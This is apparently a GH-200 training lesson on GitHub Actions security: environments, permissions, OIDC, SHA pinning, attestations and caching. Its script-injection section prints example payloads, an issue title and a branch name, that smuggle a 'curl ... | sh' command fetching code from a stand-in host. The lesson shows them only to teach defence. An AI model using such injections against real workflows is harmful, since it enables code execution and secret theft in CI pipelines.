Secure and Optimize GitHub Actions: Permissions, OIDC, Pinning, Attestations and Caching (GH-200)

An environment is a named deployment target (such as production) whose protection rules every job that references it with environment: must pass before it starts, and before it can read that environment's secrets. That makes environments the place to put approval gates: the rule lives in the repository settings, not in a workflow file a contributor could edit.

Three distinctions matter most. Required reviewers alone do not stop self-approval: by default the engineer who launched the run can approve it if they are on the list, which is what Prevent self-review closes. A wait timer is a delay, not an approval, and it is different from timeout-minutes, which caps how long a running job may take. And a job that checks an external system and fails, placed before the deployment with needs:, is weaker than a custom protection rule because it lives in the workflow file, where it can be edited or skipped.

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production   # protection rules apply before this job starts
    steps:
      - run: ./deploy.sh

Plan availability: environments and all their protection rules work in public repositories on every current plan. In private or internal repositories, environments and branch rules need GitHub Pro, Team or Enterprise, while required reviewers, wait timers and custom protection rules need GitHub Enterprise. Referencing an environment also changes the job's OIDC subject claim, which is how an approval gate can be tied to cloud access (see the OIDC section). Creating environments and their secrets is covered in the triggers, caching and outputs lesson of Domain 1.

Script injection happens because GitHub evaluates every ${{ }} expression and pastes the result into the script text before the shell (or JavaScript engine) runs it. If the value comes from someone outside the project, they can write characters that close a quoted string and append their own commands, which then run with the job's token and secrets.

# Vulnerable: the title is pasted into the shell script
- run: echo "New issue: ${{ github.event.issue.title }}"
# A title such as  a"; curl https://evil.example | sh; echo "
# becomes three commands.

Which context values are attacker-controlled

Treat any free text a contributor writes as untrusted, whatever the event:

Two traps catch people. First, commit metadata stays untrusted even on push to a protected branch: a merged or rebased contributor commit keeps the message and author email the contributor wrote. Second, "branch names cannot contain spaces" is no defence. Git refs allow quotes, ;, $, braces and |, and the shell expands ${IFS} to whitespace, so a branch name like a";curl${IFS}x.sh|sh;# is valid and becomes shell code once ${{ github.head_ref }} is pasted in. With pull_request_target the risk is higher, because that event runs in the base repository with its secrets and a write-capable token while still exposing the fork's branch name and text.

Mitigations that work, and ones that do not

The same rule applies to actions/github-script: its script input is JavaScript source, so "${{ github.event.comment.body }}" inside it can be closed and extended. Pass the value through env and read process.env.BODY.

- uses: actions/github-script@v8
  env:
    BODY: ${{ github.event.comment.body }}
  with:
    script: |
      await core.summary.addRaw(process.env.BODY).write();

Untrusted data that arrives through artifacts

Data a fork controls stays untrusted after it is written to a file. A common safe design runs tests for fork pull requests under pull_request (read-only token, no secrets) and does the privileged work, such as commenting on the pull request, in a second workflow triggered by workflow_run, which runs in the base repository with secrets and a write-capable token. Any artifact the first run uploaded was produced by the fork's code, so every byte of it is contributor-controlled, however harmless the file name looks. A value read from such a file and then written into a script through an expression (a step output, an env context, any ${{ }}) is the same injection as pasting a pull request title, and no expression function makes spliced text safe. Validate the value against the exact format it must have, then hand it to the shell through env: as a quoted variable. In this example the first workflow uploaded an artifact named pr-meta holding the pull request number, and the privileged workflow labels the pull request:

on:
  workflow_run:
    workflows: [CI]
    types: [completed]
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      actions: read          # download the triggering run's artifact
      pull-requests: write   # label the pull request
    steps:
      - uses: actions/download-artifact@v5
        with:
          name: pr-meta
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
      - id: meta
        run: |
          pr=$(cat pr-meta.txt)
          [[ "$pr" =~ ^[0-9]+$ ]] || { echo "invalid PR number"; exit 1; }
          echo "pr=$pr" >> "$GITHUB_OUTPUT"
      - env:
          PR: ${{ steps.meta.outputs.pr }}
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}   # no checkout, so tell gh the repository
        run: gh pr edit "$PR" --add-label ci-passed

The privileged work belongs in the base-repository workflow because of how fork tokens work. In a public repository, runs triggered by a fork's pull_request always get a read-only GITHUB_TOKEN and no secrets, whatever the permissions key requests. Private and internal repositories behave the same by default; an admin can opt in to sending write tokens and secrets to fork runs, which hands that power to untrusted code rather than removing the risk.

Round out the defence the official guidance lists: validate or reject inputs that must follow a format (for example, check a version string against a pattern before using it), give the job least-privilege permissions so a successful injection can do little, and prefer a vetted action that treats inputs as data over a long inline script.

GITHUB_TOKEN is a short-lived GitHub App installation access token that GitHub creates for each job: it belongs to the GitHub Actions app installed in the repository, it can act only on the repository that holds the workflow, and it expires when the job finishes or reaches its maximum lifetime, whichever comes first.

• Per job, not per run. Each job gets its own token; jobs in the same run do not share one.
• Dies with the job. Handing the token to an external service that calls the API later fails with 401 Bad credentials once the job has ended. Work that outlives the job needs its own credential, such as a GitHub App token the service mints for itself.
• One repository. No permissions setting can give it access to another repository; a push to a second private repository returns 403 or not found.
• Attributed to github-actions[bot]. Pull requests, comments and API commits it creates show that bot, not a person, so nothing breaks when people leave.

The permissions key

The permissions key sets each scope (such as contents, pull-requests, issues, packages, deployments, actions, attestations) to read, write or none. Three rules decide what a job actually gets:

1. Listing any scope sets every unlisted scope to none. permissions: { contents: read } removes, for example, id-token and pull-requests.
2. A job-level block replaces the workflow-level block; the two are not merged. A job that lists only pull-requests: write has no contents access even if the workflow grants contents: read, so checkout of a private repository fails as if the repository did not exist.
3. With no block at all, the repository or organization default applies (restricted read, or the older permissive read and write). Setting that default is covered in the enterprise governance lesson of Domain 4.

permissions:
  contents: read          # workflow default for every job
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:          # replaces the block above for this job
      contents: read      # still needed for actions/checkout
      pull-requests: write
    steps:
      - uses: actions/checkout@v5
      - run: ./scripts/label.sh

Choosing least privilege: grant each scope the job uses at the lowest level that works and leave the rest out. Branches, tags, commits and releases all sit under contents, so git push of a tag plus gh release create needs contents: write and nothing else. Posting a pull request review needs pull-requests: write; reading code needs contents: read. id-token is special: it has only write or none, and write lets the job request an OIDC token without granting any access to the repository. Keep write scopes on the jobs that need them instead of the whole workflow.

Reusable workflows: the calling job's token permissions flow into the called workflow, which can only reduce them. If the caller lists contents: read only, a nested job that asks for id-token: write is rejected before any step runs; the fix is to grant it on the calling job.

When automation needs more than the workflow's own repository, the choice is between a personal access token (PAT) and a token minted from a GitHub App, and for organization automation the GitHub App token is the better default because it belongs to the organization, not to a person.

A fine-grained PAT can be limited to one repository and one permission, but it is still tied to a user account and carries that user's identity. A classic PAT with the repo scope is both too broad and person-bound. An App token's access comes from the permissions granted to the app, not from whoever installed it, and the app must be installed on every repository it should reach.

Minting an App token in a job

- id: app-token
  uses: actions/create-github-app-token@v3
  with:
    client-id: ${{ vars.RELEASE_BOT_CLIENT_ID }}
    private-key: ${{ secrets.RELEASE_BOT_KEY }}
    repositories: schemas            # add repositories beyond the current one
    permission-contents: read        # narrow below the installation's permissions
- uses: actions/checkout@v5
  with:
    repository: octo-org/schemas
    token: ${{ steps.app-token.outputs.token }}

• With neither owner nor repositories set, the token covers only the current repository, so other repositories look missing.
• owner on its own widens the token to every repository where the app is installed for that owner; repositories lists exactly the ones you need.
• Without any permission-* input, the token inherits all of the installation's permissions. Add permission-<scope>: read|write inputs to narrow it.
• The job's permissions block affects only GITHUB_TOKEN; it never changes an App token or a PAT.

OpenID Connect (OIDC) federation lets a job exchange a short-lived, signed identity token from GitHub for short-lived cloud credentials, so no long-lived cloud key (an AWS access key, an Azure client secret, a Google service account key) has to be stored in GitHub at all. Moving a key to an environment secret, an organization secret or a rotation script still stores a long-lived key; only federation removes it.

How it works:

1. The job has permissions: id-token: write, which lets the runner request a token from GitHub's issuer https://token.actions.githubusercontent.com.
2. The token carries claims about the run: sub (subject), aud (audience), repository, ref, environment, job_workflow_ref and others.
3. The cloud provider has been configured to trust GitHub's issuer, with conditions on those claims (an AWS IAM role trust policy, an Azure federated credential, a Google workload identity pool provider).
4. The login action (for example aws-actions/configure-aws-credentials, azure/login, google-github-actions/auth) presents the token and receives credentials that expire on their own.

permissions:
  id-token: write   # request the OIDC token
  contents: read    # still needed for checkout
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5
      - uses: azure/login@v2
        with:
          client-id: ${{ vars.AZURE_CLIENT_ID }}
          tenant-id: ${{ vars.AZURE_TENANT_ID }}
          subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }}

If a permissions block exists without id-token: write, the login step fails because it cannot obtain an ID token. id-token: read does not exist, contents: write has nothing to do with OIDC, and removing the block falls back to defaults that also lack id-token: write.

The subject claim decides who can assume the role

The cloud trust condition usually matches sub, and GitHub builds the default sub from the job's context:

Consequences you have to plan for:

• Adding environment: changes the subject. A role that trusted …:ref:refs/heads/main stops matching once the deploy job uses environment: production; update the condition to …:environment:production.
• Pull request jobs never present a ref subject, so a terraform plan on pull_request needs a separate trust entry for repo:ORG/REPO:pull_request.
• Tie cloud access to approval. A wildcard such as repo:octo-org/web:* lets any branch, tag or pull request job assume the role. Putting the deploy job behind a production environment with required reviewers and trusting only repo:octo-org/web:environment:production means a token that can assume the role is issued only after approval. Either change alone leaves a gap.
• aud is not an identity check. The audience (for AWS usually sts.amazonaws.com) should be checked, but it is the same for every job and can be chosen by the requester, so it cannot tell jobs apart.

Trusting a reusable workflow: customizing the subject

When a job runs a reusable workflow, the token's job_workflow_ref claim names the called workflow and its ref (for example octo-org/deploy/.github/workflows/release.yml@refs/heads/main), while the default sub still describes the calling repository. To let any organization repository deploy but only through that central workflow, customize the subject template with the REST API (PUT /orgs/{org}/actions/oidc/customization/sub with include_claim_keys, for example ["job_workflow_ref"]; repositories can opt in or use the default) and match the resulting value in the cloud trust condition. The caller must also grant id-token: write on the calling job, because permissions flow down into the reusable workflow.

A third-party action runs inside your job with the job's token and any secrets you pass it, so trusting an action means trusting its publisher, its code and the exact version you run. GitHub does not security-review the actions listed in GitHub Marketplace.

Judging an action

• Verified creator badge: GitHub has verified the publishing organization as a partner. It confirms who published the action, not that any version's code is safe, and it does not pin versions. Stars, recent releases and simply being listed in Marketplace confirm neither.
• Read the source (and its action.yml): what it does with inputs, tokens and secrets, what it downloads, whether it is maintained.
• Give it least privilege: run it in a job whose permissions and secrets are limited to what it needs.
• Prefer GitHub-owned or verified-creator actions, and enforce that with the organization's allowed-actions policy (next section).

Why a full-length commit SHA

Use the full 40-character SHA: a short SHA is not accepted as a pin. Floating references such as @main or @v* are acceptable only with a deliberate reason, such as an action your own organization controls. Hosted runners resolve immutable action versions where they exist (see the custom actions lesson of Domain 3), which narrows the risk only for those versions, so pin third-party actions to a SHA regardless.

- uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0

A trailing comment with the version keeps the pin readable and lets update tools recognise it.

Workflow dependency lockfiles (public preview since October 2026, so details may change) record the exact commit of every action a workflow depends on, including transitive ones, and verify each source repository at run time. They are generated with the gh CLI and committed beside the workflows. Because the feature is in preview, a full-length SHA pin remains the established baseline, and the fallback wherever a lockfile is not used.

Check where the SHA comes from. Forks share an object network with their parent repository, so uses: acme/scan-action@<sha> can resolve a commit that exists only in a contributor's fork, such as the head of an unmerged pull request. The pin is then immutable but unreviewed. Take the SHA from a release or a commit on the action's own repository.

A pin freezes only the pinned action's own files. A composite action's action.yml can itself contain uses: other-org/tool@v2, and a Docker container action can pull an image by tag (image: docker://…:latest, or a Dockerfile FROM a tag). Those nested references are resolved when the job runs, so if the inner tag moves, your job runs new code although your SHA never changed. Immutability applies only to the files of the version you reference, so an immutable outer release does not freeze what it references either. The fix is to control the nested references themselves: read the pinned action.yml as part of reviewing it, and choose actions that pin their own nested actions to full SHAs and their images to digests, or maintain a reviewed copy that does. Workflow dependency lockfiles (in public preview) also record the commits of transitive actions, though not container image tags. Least-privilege permissions reduce the damage unreviewed code can do; they do not decide which code runs.

Keeping pins current

SHA pins do not update themselves, so pinned workflows drift behind security fixes. Dependabot version updates with the github-actions ecosystem open a pull request when a newer version of an action is available, including for SHA-pinned references, so each update is reviewed before it merges:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

A script that rewrites SHAs to the latest upstream commit and pushes to main defeats the purpose by skipping review. The organization policy that requires full-SHA pins enforces the format but never updates them; its scope is covered in the enterprise governance lesson of Domain 4.

The allowed actions and reusable workflows policy, set at enterprise, organization or repository level, decides which actions may run at all, and it is how an organization turns "only use trusted actions" into an enforced rule.

Under the selected option:

• Allow actions created by GitHub (github_owned_allowed): actions in the actions and github organizations.
• Allow Marketplace actions by verified creators (verified_allowed): every action from a verified-creator publisher, a much wider set than GitHub-owned.
• Specified patterns (patterns_allowed): comma-separated entries such as docker/*, octo-org/*, owner/action@v2. A leading ! makes an entry a block that wins over any allow pattern that also matches.

To block one compromised internal action everywhere while every other one keeps working, keep the broad pattern and add a block entry:

octo-org/*, !octo-org/legacy-deploy@*

Blocking !octo-org/* would stop every internal action, and an allow entry for a specific ref blocks nothing.

Scripting the policy with the REST API

Changing an organization from "all" to "GitHub-owned plus two patterns" takes two calls, in this order, because the selected-actions list only takes effect when allowed_actions is selected:

PUT /orgs/{org}/actions/permissions
  { "enabled_repositories": "all", "allowed_actions": "selected" }

PUT /orgs/{org}/actions/permissions/selected-actions
  { "github_owned_allowed": true,
    "verified_allowed": false,
    "patterns_allowed": ["docker/*", "octo-org/*"] }

Repositories have the same endpoints under /repos/{owner}/{repo}/actions/permissions. The separate …/actions/permissions/workflow endpoint sets the default GITHUB_TOKEN permissions, not which actions may run.

"Required reviewers for unverified actions", as the official skill list phrases it, is not a single GitHub setting. In practice it is achieved by allowing only GitHub-owned and verified-creator actions plus explicit patterns, so adopting any other action requires an administrator to review it and add it to the list, combined with code owner review on .github/workflows/ so new uses: lines are approved before they merge.

An artifact attestation is a signed statement that binds an artifact's digest to how it was built: the repository, commit SHA, workflow, triggering event and runner recorded from the build job's OIDC identity. It lets a deployment check where an artifact came from before trusting it, following the SLSA provenance format.

Generating an attestation

permissions:
  id-token: write       # sign with a short-lived certificate via OIDC
  contents: read
  attestations: write   # store the attestation in the repository
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5
      - run: make dist
      - uses: actions/attest@v4
        with:
          subject-path: dist/my-tool

For a container image, attest the pushed image by name and digest rather than by a file path, and add packages: write so the attestation can be pushed to the registry beside the image:

- id: build
  uses: docker/build-push-action@v6
  with:
    push: true
    tags: ghcr.io/octo-org/api:1.4.0
- uses: actions/attest@v4
  with:
    subject-name: ghcr.io/octo-org/api          # fully qualified, no tag
    subject-digest: ${{ steps.build.outputs.digest }}   # sha256:...
    push-to-registry: true

actions/attest is the current action; actions/attest-build-provenance remains as a wrapper for build provenance. Availability: public repositories on all current plans; private and internal repositories need GitHub Enterprise Cloud. Public repositories sign through the Sigstore public-good instance (with a public transparency log); private repositories use GitHub's own Sigstore instance.

SLSA Build Level 2 vs Level 3

A composite action does not give Level 3: its steps run inside the caller's own job. Neither does a self-hosted runner or a different predicate type.

Verifying before deployment

gh attestation verify checks an artifact against its attestations and requires either --owner (any repository of that organization or user) or --repo (one repository):

--owner and --repo only scope where the source must be; --signer-workflow (or --signer-repo) pins the identity that signed. Other flags such as --predicate-type (SLSA provenance by default), --cert-oidc-issuer and --deny-self-hosted-runners add checks but do not narrow the source. Run the command as a step before deploying and fail the job if it fails, or enforce the same policy at the platform, for example with a Kubernetes admission controller that checks attestations.

Verifying on an isolated network

By default gh attestation verify fetches the attestation from the GitHub API and the Sigstore trusted root over the network. Where the deployment network cannot reach GitHub or Sigstore, fetch both ahead of time on a connected machine and carry them in with the artifact and the CLI:

# on a connected machine
gh attestation download agent.tar.gz -R acme/edge-agent   # writes sha256:<digest>.jsonl (the bundle)
gh attestation trusted-root > trusted_root.jsonl

# on the isolated machine
gh attestation verify agent.tar.gz -R acme/edge-agent \
  --bundle sha256:<digest>.jsonl \
  --custom-trusted-root trusted_root.jsonl

Offline verification needs, as local files, the two things the default mode fetches live. The bundle holds the attestation itself (the signed statement and its signing certificate); the trusted root holds the Sigstore certificate authorities and transparency-log keys that the certificate must chain to. Neither substitutes for the other, because a bundle never carries the root that vouches for it. The source flag (-R or --owner) is still required offline, because it is the policy: which source you are willing to trust. And verification only means something where the artifact is consumed: run it against the file on the machine that will deploy it, since a check performed earlier on another machine says nothing about the copy that arrives.

What verification proves, and what it does not: it establishes which repository, commit, workflow and event produced the artifact, and that the artifact was not altered since. It does not prove the code is free of vulnerabilities, that commits were reviewed, or that a person signed it; the signer is a workflow identity. Scanning and review remain your own policy.

Caching saves time by reusing dependencies between runs, and retention controls how long artifacts and logs occupy paid storage; both go wrong in predictable ways.

Cache keys that hit

An exact key match restores the cache and skips saving a new entry. Build the key from the file that defines the dependencies, so it changes only when they do:

- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: npm-${{ runner.os }}-${{ hashFiles('package-lock.json') }}
    restore-keys: |
      npm-${{ runner.os }}-

Limits and cleanup: caches not accessed for 7 days are evicted, and each repository has a cache storage limit (10 GB by default, which can be raised); past it, GitHub evicts older caches. To free space now, for example from feature branches that have already merged, delete the entries yourself with gh cache delete <key> (or --all) or DELETE /repos/{owner}/{repo}/actions/caches?key=…. Artifact retention settings and retention-days never touch caches.

Artifact retention

• An artifact is kept for the repository's retention period unless the upload sets retention-days.
• retention-days can shorten retention but never extend it past the repository's setting, which itself sits within any organization or enterprise limit. A larger value is reduced to the maximum and the upload still succeeds.
• Hand-off artifacts that are useless after the run (build output passed to a test job) should set retention-days: 1. Compression level and overwrite do not change retention.
• To keep reports longer than policy allows, raise the repository setting where policy permits, or store them outside Actions.

Retention for all repositories can be set programmatically with PUT /orgs/{org}/actions/permissions/artifact-and-log-retention (and the /repos/{owner}/{repo}/… equivalent), and existing runs, logs and artifacts can be deleted through their own endpoints; the full endpoint table is in the triggers, caching and outputs lesson of Domain 1.

Most wasted Actions minutes come from work that runs when it does not need to: superseded runs, duplicate triggers, hung jobs, oversized matrices and expensive runners for platform-neutral work.

Concurrency without cancelling main

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

Runs in one group run one at a time. Keying by github.ref gives each pull request (refs/pull/N/merge) and main their own groups; making cancel-in-progress an expression cancels superseded pull request runs but lets a main run finish. A group of only github.workflow mixes all branches, and a group keyed on github.sha never collects successive pushes.

Triggers, matrices and runners

on:
  push:
    branches: [main]
  pull_request:

A push to a branch with an open pull request fires both push and pull_request. Limiting push to main tests feature work once through pull_request (which also covers forks, whose pushes run only in the fork) while every push to main is still tested. A matrix multiplies jobs, so include only dimensions whose results can differ; max-parallel and fail-fast change scheduling and cancellation, not the number of jobs. Linux runners cost less per minute than Windows and macOS, so run operating-system-neutral work such as linting on Linux. Larger and self-hosted runners and autoscaling are covered in the runners lesson of Domain 4.